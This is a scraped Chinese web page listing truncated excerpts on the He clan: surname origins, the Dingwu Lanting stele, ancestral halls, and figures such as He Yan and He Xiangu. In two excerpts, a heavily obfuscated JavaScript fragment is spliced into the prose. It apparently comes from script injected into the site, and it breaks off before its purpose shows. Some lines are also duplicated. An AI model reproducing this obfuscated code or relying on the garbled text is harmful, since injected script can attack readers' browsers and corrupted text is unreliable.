庐江郡何氏受姓始祖世纪 通鉴云韩王安有二子长曰成次曰允秦灭六国后张良乘范增劝项梁立楚后时乃劝梁立韩公子横阳君成为韩王至汉元年项羽灭成允公虑祸及隐匿民间因手有何字纹悟音近韩乃改姓为何后世居庐江故以为郡省郡邑志载周皖国汉后屡改庐江郡宋乃改安庆府至后改潜改怀元析怀为潜我何氏先人发祥于皖遂成郡望。 一代 受姓始祖 允公 子子信 韩王安次子 始皇十二年公避祸匿民间 妣张氏 子二 隆 冉 冉早卒 公妣墓在扶风郡北五里甲山庚向 二代 允公之子 隆公 字子孟匿迹民间同父隐居循迹弗耀 妣田氏 子一 骘 墓在父侧 三 ......[点击阅读详情]

【东阳何氏定武兰亭碑】 国家一级文物。靖康之变，宋高宗驻跸维扬(扬州)，于兵荒马乱中失此碑。明宣德年间，东阳人何士英任两淮都转盐运使，时维扬石塔寺 僧浚井，发现此碑，碑缺一角，字有剥落。幸得朝廷宠贶，何士英获取此碑因名”东阳何氏定武兰亭碑”。何将此碑携回家珍藏，世代相传。中华人民共和国成立初 藏于东阳文管会，后藏浙江博物馆。 function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388 ......[点击阅读详情]

有多少人知道自己祖辈生活的村庄谁是第一个迁入者(始迁祖)又有谁知道自己所在村庄拥有怎样的历史文化? 如今，婺城区罗店镇就有这么一个村子，正积极寻根溯源，希望将村庄的历史以及老祖宗留下来的瑰宝展示出来，既弘扬孝道，提升村庄文化品位，更重要的是，将华夏文明之精髓发扬光大，代代相传! 宋承务郎文定公何基画像 这个村子就是浙江省金华市罗店镇后溪河村!近日，记者走进该村，与两代书记——现任书记何宝平、前任书记何根林对话，感受到了该村历史悠久、积淀深厚的文化底蕴，见识了何氏宗祠“北山祠”的巨大变化。 ......[点击阅读详情]

关注灌阳官庄何氏，最早是在大学毕业后没两年，一次浏览母校长安大学的官网，蓦然发现何福照教授的名字赫然在列。当时既觉欣慰，更深感惋惜。抱憾自己孤陋寡闻、见识浅薄，整个大学期间竟然不知身畔有位从家乡走出来的中国公路桥梁学界的权威泰斗，以致无缘前往拜见，聆听教诲，一叙乡情。等我知晓个中渊源之时，先生已在2002年11月仙逝于古都长安矣。后来机缘所致，谋得一册1993年编定、1995年出版的《灌阳县志》，对何福照、何福煦“兄弟双留美、同胞两教授”的事迹有了进一步了解。再后来从网上读到文市社拐老乡“疯 ......[点击阅读详情]

何琦(302—384年)是工山镇八都何氏之始祖。祖籍庐州，出生于仕宦家庭。祖父何龛先后任晋后将军及大将军等职。父阜任淮南内史。堂弟何充官至大司徒，堂妹法倪贵为正宫。西秦南犯，随晋室东迁，家族乃定居射的山北麓，称何家汇。清末改都图制时，改称八都何。烽火岁月，又以“红色八都何”名噪大江南北。 何琦字万伦，十四岁丧父，啮哀参礼。寡母将他抚养成人后，家道中衰。曾做过宣州“郡主簿”“郎中”及“泾县令”等小官，皆在以禄奉母。老母逝世时，悲不欲生，竟至“泣血”，“杖而后起”。当母柩停家待葬，邻居忽起火灾，火借风 ......[点击阅读详情]

何仙姑，苦修积善才修练成仙， 是世传八仙中唯一的女性。原型为一个容貌非凡的女性，经常手持荷花。其身世有多种说法，其中在流传比较多的传说中，除广东增城说之外，还有广西、福建、浙江、安徽、湖南等多种说法，相传于北宋时期聚仙会时应铁山列入八仙。 何仙姑是世传八仙之一，旧时在汉族和部分少数民族中都广有信众。除了西安八仙宫有其塑像供奉外，又在泰山王母池等处享有香火。自唐宋以来，有关她的事迹记载为数极多，仅次于八仙中的吕洞宾。然而，这一尊在八仙传说中很富人情味的女仙的来历，却是一个迄今没 ......[点击阅读详情]

何晏（约193～249） 中国三国时玄学家。字平叔。南阳宛（今河南南阳）人。何晏是汉大将军何进之孙，曹操为司空时纳其母，并收养晏。晏少时聪慧过人，曹操宠若诸公子。何晏娶金乡公主为妻，赐爵为列侯。官拜散骑侍郎、侍中、吏部尚书，后为司马懿所杀。何晏主张儒道合同，引老以释儒。他在《道论》中说：“有之为有，恃‘无’以生；事而为事，由无以成。”“无”是他对《老子》和《论语》中“道”的理解。他认为天地万物都是“有所有”，而“道”则是“无所有”，是“不可体”的，所以无语、无名、无形、无声是“道之全”。何晏与王弼齐 ......[点击阅读详情]

何 熙：字孟孙，东汉，陈郡阳夏人，少有大志。不拘小节，体貌魁梧，善为容仪，官御史中丞，晋大司农，永初间南翠于与乌丸俱反，以熙车骑将军征之，暴疾，殁于征战军中，熙以忠孝传家，有政能光大家声，曾孙何变夔，字叔龙，仕魏位至文帝太傅，夔子何曾仕晋位至太尉，夔子何曾仕晋，位于太尉，夔孙何劭亦仕晋，位至尚书左仆射，世代卿相。 function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e23 ......[点击阅读详情]

盖闻细胞乃人体之有机组成部分，各族姓氏实为中华民族之细胞，细胞壮旺民族健康。然欲得健壮之细胞，窃以与族谱之创立不无关系。族谱记各族宗支苗裔，序伦常以系族纲。以兹借鉴前贤，重才重礼，继往开来，勉励后秀，同心同德，合力兴邦。国隆族旺，历久不衰，政善民安，绵延万代。 稽我宗族，自黄帝姬姓，凡十八传至周叔虞，剪桐就封，又历十八传至万祖，卫国有功，始封韩原，又历四传至厥祖，乃请封以韩为氏，又历十七传乃至瑊祖，韩安王以祖尊厉且贤，命为公族大夫，尝秉国政，屡谏安勿朝秦，安勿听，乃退处韩原， ......[点击阅读详情]

宗祠文化是儒家文化的一部分。风景因文化而美丽，地域因人文而闻名。5月16日，投资数百万元按明清建筑风格修建的通天门 “何氏大宗祠” 正式落成投入使用，记者一睹了宗祠文化的旖旎风采。占地2000平方米、建筑面积600多平方米的何氏大宗祠与1000多平方米的文化广场融为一体，规模宏大，气势恢弘，古朴庄严，弥足珍贵，令人赞叹不已。特别是作为主体建筑的祠堂大厅，给人们以强烈的心理震撼。为显示宗族实力以及厚重文化积淀，“何氏宗祠”建祠者邀请名人书写诗文祖训，或请名师雕琢花鸟虫鱼等嵌砌于祠堂门壁之上，凸显了 ......[点击阅读详情]